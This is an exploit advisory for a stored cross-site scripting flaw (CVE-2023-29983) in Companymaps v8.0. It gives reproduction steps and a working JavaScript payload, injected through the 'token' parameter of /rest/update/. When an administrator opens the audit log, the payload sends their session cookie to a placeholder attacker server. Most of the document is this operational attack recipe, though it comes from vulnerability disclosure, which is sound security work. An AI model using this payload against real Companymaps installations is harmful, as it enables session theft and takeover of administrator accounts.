Companymaps v8.0 – Stored Cross Site Scripting (XSS)
# Exploit Title: Companymaps V8.0 - Stored Cross Site Scripting (XSS) # Date: 27.04.2023 # Exploit Author: Lucas Noki (0xPrototype) # Vendor Homepage: https://github.com/vogtmh # Software Link: https://github.com/vogtmh/cmaps # Version: 8.0 # Tested on: Mac, Windows, Linux # CVE : CVE-2023-29983 *Steps to reproduce:* 1. Clone the repository and install the application 2. Send a maliciously crafted payload via the "token" parameter to the following endpoint: /rest/update/?token= 3. The payload used is: <script>new+Image().src=`http://YOUR_COLLABORATOR_SERVER/?c=${document.cookie}`</script> 4. Simply visiting the complete URL: http://IP/rest/update/?token=PAYLOAD is enough. 5. Login into the admin panel and go to the auditlog under: /admin/index.php?tab=auditlog 6. Check your collaborator server. You should have a request where the admins cookie is the value of the c parameter In a real world case you would need to wait for the admin to log into the application and open the auditlog tab. Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload. |